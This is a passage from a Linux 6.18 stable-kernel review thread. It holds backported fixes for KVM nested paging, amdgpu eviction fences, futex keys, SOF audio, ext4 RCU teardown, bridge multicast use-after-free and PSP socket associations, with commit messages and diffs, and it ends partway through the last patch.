Bisection shows that this started happening with commit 687ee95c1b6d ("KVM:
nSVM: enable GMET for guests"), even though SHSTK was available to guests
since Linux 6.18. However, this is not because bit 1 of MISC_CTL (GMET)
somehow enables reporting the SS bit; rather, it's simply that Hyper-V
never uses CET unless GMET is also present. The WARN is reproducible
even with gmet=0, with some hacking of kvm-unit-tests's cet.c testcase
to ensure that the first access to the shadow stack triggers a page fault.
Reported-by: SimonP <simonp.git@mailbox.org>
Fixes: 8db428fd5229 ("KVM: SVM: Enable shadow stack virtualization for SVM")
Cc: stable@vger.kernel.org
Reviewed-by: Sean Christopherson <seanjc@google.com>
Closes: https://lore.kernel.org/all/asUqYEisPp9MJ8mQ@rika.bernkas.tel
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
[ sashal: Adapted permission checks to use mmu->permissions and mmu->pkru_mask instead of the newer page-walk structures. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
arch/x86/kvm/mmu.h | 16 ++++++++++++----
arch/x86/kvm/mmu/paging_tmpl.h | 2 +-
2 files changed, 13 insertions(+), 5 deletions(-)
--- a/arch/x86/kvm/mmu.h
+++ b/arch/x86/kvm/mmu.h
@@ -186,8 +186,18 @@ static inline u8 permission_fault(struct
unsigned pte_access, unsigned pte_pkey,
u64 access)
{
- /* strip nested paging fault error codes */
- unsigned int pfec = access;
+ /*
+ * Of the error codes that do not contribute to the index in
+ * mmu->permissions, PK and SS are not supported by shadow paging
+ * and also not provided to EPT violations, but SS *is* included
+ * in the NPT exit code. RSVD faults are handled elsewhere.
+ */
+ unsigned int pfec = access & ~PFERR_SS_MASK;
+ if (WARN_ON_ONCE(pfec & ~(PFERR_PRESENT_MASK | PFERR_WRITE_MASK |
+ PFERR_USER_MASK | PFERR_FETCH_MASK)))
+ pfec &= (PFERR_PRESENT_MASK | PFERR_WRITE_MASK |
+ PFERR_USER_MASK | PFERR_FETCH_MASK);
+
unsigned long rflags = kvm_x86_call(get_rflags)(vcpu);
/*
@@ -211,8 +221,6 @@ static inline u8 permission_fault(struct
kvm_mmu_refresh_passthrough_bits(vcpu, mmu);
fault = (mmu->permissions[index] >> pte_access) & 1;
-
- WARN_ON_ONCE(pfec & (PFERR_PK_MASK | PFERR_SS_MASK | PFERR_RSVD_MASK));
if (unlikely(mmu->pkru_mask)) {
u32 pkru_bits, offset;
--- a/arch/x86/kvm/mmu/paging_tmpl.h
+++ b/arch/x86/kvm/mmu/paging_tmpl.h
@@ -474,7 +474,7 @@ retry_walk:
return 1;
error:
- errcode |= write_fault | user_fault;
+ errcode |= write_fault | user_fault | (access & PFERR_SS_MASK);
if (fetch_fault && (is_efer_nx(mmu) || is_cr4_smep(mmu)))
errcode |= PFERR_FETCH_MASK;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 148/193] drm/amdgpu: keep the eviction fence until the last handle is closed
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (146 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 147/193] KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 149/193] futex: Fix mm reuse handling for FUT_OFF_MMSHARED Greg Kroah-Hartman
` (55 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jesse Zhang, Christian König,
Alex Deucher, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jesse Zhang <Jesse.Zhang@amd.com>
[ Upstream commit 3c44cbcec5eb370713bbd2c315ed7c34d8ccec2b ]
amdgpu_gem_object_close() detaches the user queue eviction fence from
the BO before it checks bo_va->ref_count, so closing any handle of a BO
removes the fence, even when the file still has another handle to the
BO and the bo_va with its GPU mappings stays. The BO can then be evicted
without suspending the user queues of the file, which keep accessing it
through mappings that are only marked for update.
Seen on navi31 with a SDMA user queue: a BO opened twice in the same
file (GEM_FLINK + GEM_OPEN) loses its eviction fence when the second
handle is closed (traced attach/detach of the fence):
attach bo=ffff8c78a6c84c00
GEM_CLOSE handle=7
detach bo=ffff8c78a6c84c00
while handle 6 and the mapping are still in use.
Only detach the fence when the last reference to the bo_va goes away,
matching amdgpu_gem_object_open(), which attaches it only when the
bo_va is created. With this the fence stays until the file is closed.
Fixes: 31f7efcdca4d ("drm/amdgpu: enable eviction fence")
Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit 8387982f03d4026b7dc11b0b5e3118298eee4d6a)
Cc: stable@vger.kernel.org
[ sashal: Changed amdgpu_evf_mgr_detach_fence() calls to the older amdgpu_eviction_fence_detach() helper. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 9 ++++++---
1 file changed, 6 insertions(+), 3 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c
@@ -325,11 +325,14 @@ static void amdgpu_gem_object_close(stru
goto out_unlock;
}
+ bo_va = amdgpu_vm_bo_find(vm, bo);
+ /* the fence is attached once per bo_va, so keep it for other handles */
+ if (bo_va && --bo_va->ref_count)
+ goto out_unlock;
+
if (!amdgpu_vm_is_bo_always_valid(vm, bo))
amdgpu_eviction_fence_detach(&fpriv->evf_mgr, bo);
-
- bo_va = amdgpu_vm_bo_find(vm, bo);
- if (!bo_va || --bo_va->ref_count)
+ if (!bo_va)
goto out_unlock;
amdgpu_vm_bo_del(adev, bo_va);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 149/193] futex: Fix mm reuse handling for FUT_OFF_MMSHARED
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (147 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 148/193] drm/amdgpu: keep the eviction fence until the last handle is closed Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 150/193] ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture Greg Kroah-Hartman
` (54 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jann Horn, Peter Zijlstra (Intel),
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jann Horn <jannh@google.com>
[ Upstream commit 3267512ad1c2cc0c7768c5b014dc2cceb398a801 ]
A FUT_OFF_MMSHARED futex is a shared futex that refers to an MM.
It is possible for a process to wait on a shared futex with a different MM
because a FUT_OFF_INODE waiter can be requeued onto a FUT_OFF_MMSHARED
futex by another process.
This can cause FUT_OFF_MMSHARED waiters on a freed MM to consume
wakeups intended for a newly allocated MM at the same address.
Fix it by keying FUT_OFF_MMSHARED using a unique 64-bit per-MM ID.
Leave private futexes as before to avoid influencing the performance of the
hotpath.
(Multi-threaded processes typically implicitly use FUT_OFF_MMSHARED by
setting clear_child_tid such that it points into anonymous memory, which
causes mm_release() in a multi-threaded mm to perform FUTEX_WAKE.)
Fixes: 222993395ed3 ("futex: Remove pointless mmgrap() + mmdrop()")
Closes: https://lore.kernel.org/r/CAG48ez0dLBpc3QtbAhMMVNHwHL94iHh2G+h-=BVFR4dDuzZr1g@mail.gmail.com/
Signed-off-by: Jann Horn <jannh@google.com>
Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
Link: https://patch.msgid.link/20260929-futex-mmshared-fix-v1-1-262b1ffeb3d0@google.com
Cc: stable@vger.kernel.org
[ sashal: adapted mm->futex.unique_id access to mm->futex_unique_id because struct futex_mm_data is absent. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
include/linux/futex.h | 18 ++++++-----
include/linux/mm_types.h | 3 +
kernel/futex/core.c | 75 ++++++++++++++++++++++++++---------------------
3 files changed, 56 insertions(+), 40 deletions(-)
--- a/include/linux/futex.h
+++ b/include/linux/futex.h
@@ -23,28 +23,32 @@ struct task_struct;
* 01 : Shared futex (PTHREAD_PROCESS_SHARED)
* mapped on a file (reference on the underlying inode)
* 10 : Shared futex (PTHREAD_PROCESS_SHARED)
- * (but private mapping on an mm, and reference taken on it)
+ * (but private mapping on an mm)
*/
-#define FUT_OFF_INODE 1 /* We set bit 0 if key has a reference on inode */
-#define FUT_OFF_MMSHARED 2 /* We set bit 1 if key has a reference on mm */
+#define FUT_OFF_INODE 1 /* We set bit 0 if shared key identifies an inode */
+#define FUT_OFF_MMSHARED 2 /* We set bit 1 if shared key identifies an mm */
union futex_key {
+ /* For FUT_OFF_INODE */
struct {
u64 i_seq;
unsigned long pgoff;
unsigned int offset;
/* unsigned int node; */
} shared;
+
+ /* For FUT_OFF_MMSHARED or private */
struct {
union {
- struct mm_struct *mm;
- u64 __tmp;
+ struct mm_struct *mm; /* for private */
+ u64 mm_seq; /* for FUT_OFF_MMSHARED */
};
unsigned long address;
unsigned int offset;
/* unsigned int node; */
} private;
+
struct {
u64 ptr;
unsigned long word;
@@ -83,15 +87,15 @@ long do_futex(u32 __user *uaddr, int op,
u32 __user *uaddr2, u32 val2, u32 val3);
int futex_hash_prctl(unsigned long arg2, unsigned long arg3, unsigned long arg4);
+int futex_mm_init(struct mm_struct *mm);
+
#ifdef CONFIG_FUTEX_PRIVATE_HASH
int futex_hash_allocate_default(void);
void futex_hash_free(struct mm_struct *mm);
-int futex_mm_init(struct mm_struct *mm);
#else /* !CONFIG_FUTEX_PRIVATE_HASH */
static inline int futex_hash_allocate_default(void) { return 0; }
static inline int futex_hash_free(struct mm_struct *mm) { return 0; }
-static inline int futex_mm_init(struct mm_struct *mm) { return 0; }
#endif /* CONFIG_FUTEX_PRIVATE_HASH */
#else /* !CONFIG_FUTEX */
--- a/include/linux/mm_types.h
+++ b/include/linux/mm_types.h
@@ -1079,6 +1079,9 @@ struct mm_struct {
*/
seqcount_t mm_lock_seq;
#endif
+#ifdef CONFIG_FUTEX
+ atomic64_t futex_unique_id;
+#endif
#ifdef CONFIG_FUTEX_PRIVATE_HASH
struct mutex futex_hash_lock;
struct futex_private_hash __rcu *futex_phash;
--- a/kernel/futex/core.c
+++ b/kernel/futex/core.c
@@ -441,45 +441,51 @@ futex_setup_timer(ktime_t *time, struct
}
/*
- * Generate a machine wide unique identifier for this inode.
+ * Generate a machine wide unique identifier for this object (inode or mm).
*
* This relies on u64 not wrapping in the life-time of the machine; which with
* 1ns resolution means almost 585 years.
- *
- * This further relies on the fact that a well formed program will not unmap
- * the file while it has a (shared) futex waiting on it. This mapping will have
- * a file reference which pins the mount and inode.
- *
- * If for some reason an inode gets evicted and read back in again, it will get
- * a new sequence number and will _NOT_ match, even though it is the exact same
- * file.
- *
- * It is important that futex_match() will never have a false-positive, esp.
- * for PI futexes that can mess up the state. The above argues that false-negatives
- * are only possible for malformed programs.
*/
-static u64 get_inode_sequence_number(struct inode *inode)
+static u64 get_object_id(atomic64_t *object_seq)
{
- static atomic64_t i_seq;
+ static atomic64_t last_assigned_seq;
u64 old;
- /* Does the inode already have a sequence number? */
- old = atomic64_read(&inode->i_sequence);
+ /* Does the object already have a sequence number? */
+ old = atomic64_read(object_seq);
if (likely(old))
return old;
for (;;) {
- u64 new = atomic64_inc_return(&i_seq);
+ u64 new = atomic64_inc_return(&last_assigned_seq);
if (WARN_ON_ONCE(!new))
continue;
old = 0;
- if (!atomic64_try_cmpxchg_relaxed(&inode->i_sequence, &old, new))
+ if (!atomic64_try_cmpxchg_relaxed(object_seq, &old, new))
return old;
return new;
}
}
+/*
+ * This relies on the fact that a well formed program will not unmap
+ * the file while it has a (shared) futex waiting on it. This mapping will have
+ * a file reference which pins the mount and inode.
+ *
+ * If for some reason an inode gets evicted and read back in again, it will get
+ * a new sequence number and will _NOT_ match, even though it is the exact same
+ * file.
+ *
+ * It is important that futex_match() will never have a false-positive, esp.
+ * for PI futexes that can mess up the state. The above argues that false-negatives
+ * are only possible for malformed programs.
+ */
+static u64 get_inode_sequence_number(struct inode *inode)
+{
+ return get_object_id(&inode->i_sequence);
+}
+
/**
* get_futex_key() - Get parameters which are the keys for a futex
* @uaddr: virtual address of the futex
@@ -685,8 +691,8 @@ again:
goto out;
}
- key->both.offset |= FUT_OFF_MMSHARED; /* ref taken on mm */
- key->private.mm = mm;
+ key->both.offset |= FUT_OFF_MMSHARED;
+ key->private.mm_seq = get_object_id(&mm->futex_unique_id);
key->private.address = address;
} else {
@@ -1724,18 +1730,6 @@ static bool futex_ref_is_dead(struct fut
return atomic_long_read(&mm->futex_atomic) == 0;
}
-int futex_mm_init(struct mm_struct *mm)
-{
- mutex_init(&mm->futex_hash_lock);
- RCU_INIT_POINTER(mm->futex_phash, NULL);
- mm->futex_phash_new = NULL;
- /* futex-ref */
- mm->futex_ref = NULL;
- atomic_long_set(&mm->futex_atomic, 0);
- mm->futex_batches = get_state_synchronize_rcu();
- return 0;
-}
-
void futex_hash_free(struct mm_struct *mm)
{
struct futex_private_hash *fph;
@@ -1982,6 +1976,21 @@ static int futex_hash_get_slots(void)
#endif
+int futex_mm_init(struct mm_struct *mm)
+{
+ atomic64_set(&mm->futex_unique_id, 0);
+#ifdef CONFIG_FUTEX_PRIVATE_HASH
+ mutex_init(&mm->futex_hash_lock);
+ RCU_INIT_POINTER(mm->futex_phash, NULL);
+ mm->futex_phash_new = NULL;
+ /* futex-ref */
+ mm->futex_ref = NULL;
+ atomic_long_set(&mm->futex_atomic, 0);
+ mm->futex_batches = get_state_synchronize_rcu();
+#endif
+ return 0;
+}
+
int futex_hash_prctl(unsigned long arg2, unsigned long arg3, unsigned long arg4)
{
unsigned int flags = FH_CUSTOM;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 150/193] ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (148 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 149/193] futex: Fix mm reuse handling for FUT_OFF_MMSHARED Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 151/193] ext4: free the sbi after a grace period Greg Kroah-Hartman
` (53 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Peter Ujfalusi, Bard Liao,
Mark Brown, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
[ Upstream commit 746de48c3a250f0c264105dcbfcdf0c5001e970b ]
When ch_count is smaller than blob->alh_cfg.device_count (e.g. a mono
capture stream, such as a SmartMic, aggregated across multiple SDW
links), step = ch_count / blob->alh_cfg.device_count truncates to 0.
The subsequent GENMASK(step - 1, 0) then underflows step - 1 (u32) to
UINT_MAX, causing GENMASK()'s internal shift to use an out-of-bounds
exponent:
UBSAN: shift-out-of-bounds in sound/soc/sof/ipc4-topology.c:2363:13
shift exponent 18446744069414584384 is too large for 64-bit type 'long unsigned int'
Treat ch_count < device_count the same way as the existing "channels
equal to output reference channels" case: apply the same ch_mask to
every aggregated device instead of trying to split channels that
can't be evenly divided.
Fixes: 0390a102cc18 ("ASoC: SOF: ipc4-topology: use different channel mask for each sdw amp feedback")
Cc: stable@vger.kernel.org
Signed-off-by: Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
Reviewed-by: Bard Liao <yung-chuan.liao@linux.intel.com>
Link: https://patch.msgid.link/20261008090130.15135-1-peter.ujfalusi@linux.intel.com
Signed-off-by: Mark Brown <broonie@kernel.org>
[ sashal: Added a standalone guard around the mask calculation because the upstream playback conditional is absent. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
sound/soc/sof/ipc4-topology.c | 16 ++++++++++++++--
1 file changed, 14 insertions(+), 2 deletions(-)
--- a/sound/soc/sof/ipc4-topology.c
+++ b/sound/soc/sof/ipc4-topology.c
@@ -2286,8 +2286,20 @@ sof_ipc4_prepare_copier_module(struct sn
ch_map >>= 4;
}
- step = ch_count / blob->alh_cfg.device_count;
- mask = GENMASK(step - 1, 0);
+ if (ch_count < blob->alh_cfg.device_count) {
+ /*
+ * When there are fewer channels than aggregated devices
+ * (e.g. a mono capture stream split across multiple links),
+ * set step = 0 to ensure all the ch_mask is applied to all
+ * alh mappings.
+ */
+ mask = ch_mask;
+ step = 0;
+ } else {
+ step = ch_count / blob->alh_cfg.device_count;
+ mask = GENMASK(step - 1, 0);
+ }
+
/*
* Set each gtw_cfg.node_id to blob->alh_cfg.mapping[]
* for all widgets with the same stream name
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 151/193] ext4: free the sbi after a grace period
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (149 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 150/193] ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 152/193] net: bridge: mcast: dont truncate the port group walk on teardown Greg Kroah-Hartman
` (52 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit c17b44266a1f9fcb49b894d4611d1254bf1aa313 ]
ext4_get_link() follows a symlink that keeps its target in a data block
in rcu pathwalk mode with ext4_getblk(EXT4_GET_BLOCKS_CACHED_NOWAIT).
That reads s_mount_state in the ASSERT() of ext4_getblk() and again in
ext4_es_lookup_extent(), and the lookup bumps the extent status hit or
miss counter, all through sb->s_fs_info.
ext4_put_super() destroys those counters, clears sb->s_fs_info and frees
the sbi without waiting for a grace period. A pathwalk that is still in
ext4_get_link() when the last reference to the mount goes away then
dereferences a NULL s_fs_info, the freed sbi or the destroyed percpu
counters.
With a pathwalk held up in ext4_get_link() while the last reference
goes away:
KASAN: null-ptr-deref in range [0x00000000000000a8-0x00000000000000af]
RIP: 0010:ext4_getblk+0xf0/0x640
Call Trace:
<TASK>
ext4_get_link+0x26c/0x410
pick_link+0xf96/0x1780
step_into_slowpath+0x9b8/0x1250
path_lookupat+0x484/0xb00
filename_lookup+0x1f1/0x5b0
vfs_statx+0xd7/0x3b0
vfs_fstatat+0x4d/0x90
__do_sys_newfstatat+0xa0/0x100
do_syscall_64+0x10e/0x5e0
entry_SYSCALL_64_after_hwframe+0x77/0x7f
So far that has been hard to hit. umount(2) waits for a grace period in
namespace_unlock() before it drops the mount, so only a mount whose last
reference goes away elsewhere, like the close of a file or a chdir out of
a lazily unmounted directory, can race a walker.
Keep sb->s_fs_info and free the sbi together with the extent status
counters after a grace period. Split the counters out of
ext4_es_unregister_shrinker() for that. The shrinker still gets wasted
in ext4_put_super(), the counters go with the sbi.
Fixes: 6493792d3299 ("ext4: convert symlink external data block mapping to bdev")
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20261009-work-fixes-rcu-v1-1-7446d2d335e6@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
[ sashal: Omitted changes tied to absent extent KUnit tests. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ext4/ext4.h | 2 ++
fs/ext4/extents_status.c | 7 ++++++-
fs/ext4/extents_status.h | 1 +
fs/ext4/super.c | 13 +++++++++++--
4 files changed, 20 insertions(+), 3 deletions(-)
--- a/fs/ext4/ext4.h
+++ b/fs/ext4/ext4.h
@@ -1694,6 +1694,8 @@ struct ext4_sb_info {
struct list_head s_es_list; /* List of inodes with reclaimable extents */
long s_es_nr_inode;
struct ext4_es_stats s_es_stats;
+ /* ext4_get_link() reads the sbi in rcu pathwalk */
+ struct rcu_head s_rcu;
struct mb_cache *s_ea_block_cache;
struct mb_cache *s_ea_inode_cache;
spinlock_t s_es_lock ____cacheline_aligned_in_smp;
--- a/fs/ext4/extents_status.c
+++ b/fs/ext4/extents_status.c
@@ -1797,11 +1797,16 @@ err1:
void ext4_es_unregister_shrinker(struct ext4_sb_info *sbi)
{
+ shrinker_free(sbi->s_es_shrinker);
+}
+
+/* ext4_get_link() bumps the hit and miss counters in rcu pathwalk */
+void ext4_es_destroy_stats(struct ext4_sb_info *sbi)
+{
percpu_counter_destroy(&sbi->s_es_stats.es_stats_cache_hits);
percpu_counter_destroy(&sbi->s_es_stats.es_stats_cache_misses);
percpu_counter_destroy(&sbi->s_es_stats.es_stats_all_cnt);
percpu_counter_destroy(&sbi->s_es_stats.es_stats_shk_cnt);
- shrinker_free(sbi->s_es_shrinker);
}
/*
--- a/fs/ext4/extents_status.h
+++ b/fs/ext4/extents_status.h
@@ -238,6 +238,7 @@ static inline void ext4_es_store_pblock_
extern int ext4_es_register_shrinker(struct ext4_sb_info *sbi);
extern void ext4_es_unregister_shrinker(struct ext4_sb_info *sbi);
+extern void ext4_es_destroy_stats(struct ext4_sb_info *sbi);
extern int ext4_seq_es_shrinker_info_show(struct seq_file *seq, void *v);
--- a/fs/ext4/super.c
+++ b/fs/ext4/super.c
@@ -1268,6 +1268,14 @@ static void ext4_flex_groups_free(struct
}
}
+static void ext4_put_sbi_rcu(struct rcu_head *head)
+{
+ struct ext4_sb_info *sbi = container_of(head, struct ext4_sb_info, s_rcu);
+
+ ext4_es_destroy_stats(sbi);
+ kfree(sbi);
+}
+
static void ext4_put_super(struct super_block *sb)
{
struct ext4_sb_info *sbi = EXT4_SB(sb);
@@ -1361,7 +1369,6 @@ static void ext4_put_super(struct super_
ext4_stop_mmpd(sbi);
brelse(sbi->s_sbh);
- sb->s_fs_info = NULL;
/*
* Now that we are completely done shutting down the
* superblock, we need to actually destroy the kobject.
@@ -1374,7 +1381,8 @@ static void ext4_put_super(struct super_
#if IS_ENABLED(CONFIG_UNICODE)
utf8_unload(sb->s_encoding);
#endif
- kfree(sbi);
+ /* ext4_get_link() reads the sbi and the counters in rcu pathwalk */
+ call_rcu(&sbi->s_rcu, ext4_put_sbi_rcu);
}
static struct kmem_cache *ext4_inode_cachep;
@@ -5692,6 +5700,7 @@ failed_mount_wq:
}
failed_mount3a:
ext4_es_unregister_shrinker(sbi);
+ ext4_es_destroy_stats(sbi);
failed_mount3:
/* flush s_sb_upd_work before sbi destroy */
flush_work(&sbi->s_sb_upd_work);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 152/193] net: bridge: mcast: dont truncate the port group walk on teardown
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (150 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 151/193] ext4: free the sbi after a grace period Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 153/193] net: psp: do not inherit the Rx association on clone Greg Kroah-Hartman
` (51 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Nikolay Aleksandrov,
TencentOS Corvus AI, Jun Yang, Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jun Yang <littleddfu@gmail.com>
commit 5a3f7a683aee56e1f15c9d53041f3236767eaae7 upstream.
__br_multicast_disable_port_ctx() and br_multicast_del_port() walk
port->mglist with hlist_for_each_entry_safe(). However,
br_multicast_find_del_pg() can also delete other entries from the same
list through br_multicast_fwd_src_remove() or __fwd_del_star_excl().
If such an entry is the iterator's saved next node, hlist_del_init()
clears its ->next and terminates the walk early. The reproducer triggers
this in both teardown walks, leaving port groups in the bridge mdb with
a dangling ->key.port after del_nbp() frees the port:
BUG: KASAN: slab-use-after-free in __mdb_fill_info+0x1191/0x1320
__mdb_fill_info+0x1191/0x1320
br_mdb_dump+0x594/0xe40
rtnl_mdb_dump+0x1cf/0x5d0
Use hlist_del_init_rcu() to unlink the group while preserving ->next.
br_multicast_del_pg() and the teardown walks run under
br->multicast_lock. The GC worker must acquire the same lock before
detaching the group for destruction, so the node remains alive while
the walk uses the preserved pointer.
Preserving ->next means a walk can now reach a group that an earlier
iteration already deleted as a side effect. That group is off mp->ports,
so br_multicast_find_del_pg() would fall through its port scan and hit
the trailing WARN_ON(1). Skip such groups at the top of that helper: a
port group is put on port->mglist when it is created and only unlinked
when it is deleted, so hlist_unhashed() identifies exactly this case.
Fixes: b08123684bd5 ("net: bridge: mcast: install S,G entries automatically based on reports")
Cc: stable@vger.kernel.org
Suggested-by: Nikolay Aleksandrov <razor@blackwall.org>
Reported-by: TencentOS Corvus AI <corvus@tencent.com>
Signed-off-by: Jun Yang <junvyyang@tencent.com>
Reviewed-by: Nikolay Aleksandrov <razor@blackwall.org>
Link: https://patch.msgid.link/20260831111330.199543-1-junvyyang@tencent.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/bridge/br_multicast.c | 13 ++++++++++++-
1 file changed, 12 insertions(+), 1 deletion(-)
--- a/net/bridge/br_multicast.c
+++ b/net/bridge/br_multicast.c
@@ -813,7 +813,11 @@ static void __br_multicast_del_pg(struct
struct hlist_node *tmp;
rcu_assign_pointer(*pp, pg->next);
- hlist_del_init(&pg->mglist);
+ /* Keep ->next (held under multicast_lock, freed later by the GC work):
+ * a port->mglist teardown walk may have latched this node as its next,
+ * and deleting other groups of the same port must not truncate it.
+ */
+ hlist_del_init_rcu(&pg->mglist);
br_multicast_eht_clean_sets(pg);
hlist_for_each_entry_safe(ent, tmp, &pg->src_list, node)
br_multicast_del_group_src(ent, false);
@@ -848,6 +852,13 @@ static void br_multicast_find_del_pg(str
struct net_bridge_mdb_entry *mp;
struct net_bridge_port_group *p;
+ /* A teardown walk over port->mglist can reach a group that an earlier
+ * iteration already deleted as a side effect. It is off mp->ports by
+ * now, so skip it instead of falling through to the WARN_ON() below.
+ */
+ if (hlist_unhashed(&pg->mglist))
+ return;
+
mp = br_mdb_ip_get(br, &pg->key.addr);
if (WARN_ON(!mp))
return;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 153/193] net: psp: do not inherit the Rx association on clone
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (151 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 152/193] net: bridge: mcast: dont truncate the port group walk on teardown Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 154/193] ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION Greg Kroah-Hartman
` (50 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Norbert Szetei, Daniel Zahka,
Paolo Abeni
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Norbert Szetei <norbert@doyensec.com>
commit 1d2929d0850fff683b8aff051275945e65f082c8 upstream.
sk->psp_assoc sits past sk_dontcopy_end, so sock_copy() copies it into
every socket accepted from a listener without taking a reference, while
inet_sock_destruct() puts for every inet socket. psp_twsk_init() does
refcount_inc() for the timewait socket, so a child closing through
TIME_WAIT cancels its own put and leaves the association with one
reference and N timewait sockets holding the same pointer. Closing the
listener frees it, and the timewait timers then put freed memory.
Rejecting the association on a listening socket is not sufficient: a socket
can acquire one while established and then be turned back into a listener,
because tcp_disconnect() leaves sk->psp_assoc in place.
BUG: KASAN: slab-use-after-free in psp_twsk_assoc_free+0x6f/0xf0
Write of size 4 at addr ffff888110f9255c by task swapper/7/0
psp_twsk_assoc_free+0x6f/0xf0
inet_twsk_put+0xda/0x1b0
call_timer_fn+0x53/0x2e0
__run_timers+0x764/0xa80
Freed by task 99:
kfree+0x1a7/0x500
process_one_work+0x7ec/0x1100
An association carries a per-connection SPI and key, so a child must not
inherit the parent's. Clear it on clone.
Fixes: 6b46ca260e22 ("net: psp: add socket security association code")
Cc: stable@vger.kernel.org
Assisted-by: Claude:claude-opus-5
Signed-off-by: Norbert Szetei <norbert@doyensec.com>
Reviewed-by: Daniel Zahka <daniel.zahka@gmail.com>
Link: https://patch.msgid.link/BC10EB92-ABB3-41B2-AB16-266BEEBE18C0@doyensec.com
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/core/sock.c | 3 +++
1 file changed, 3 insertions(+)
--- a/net/core/sock.c
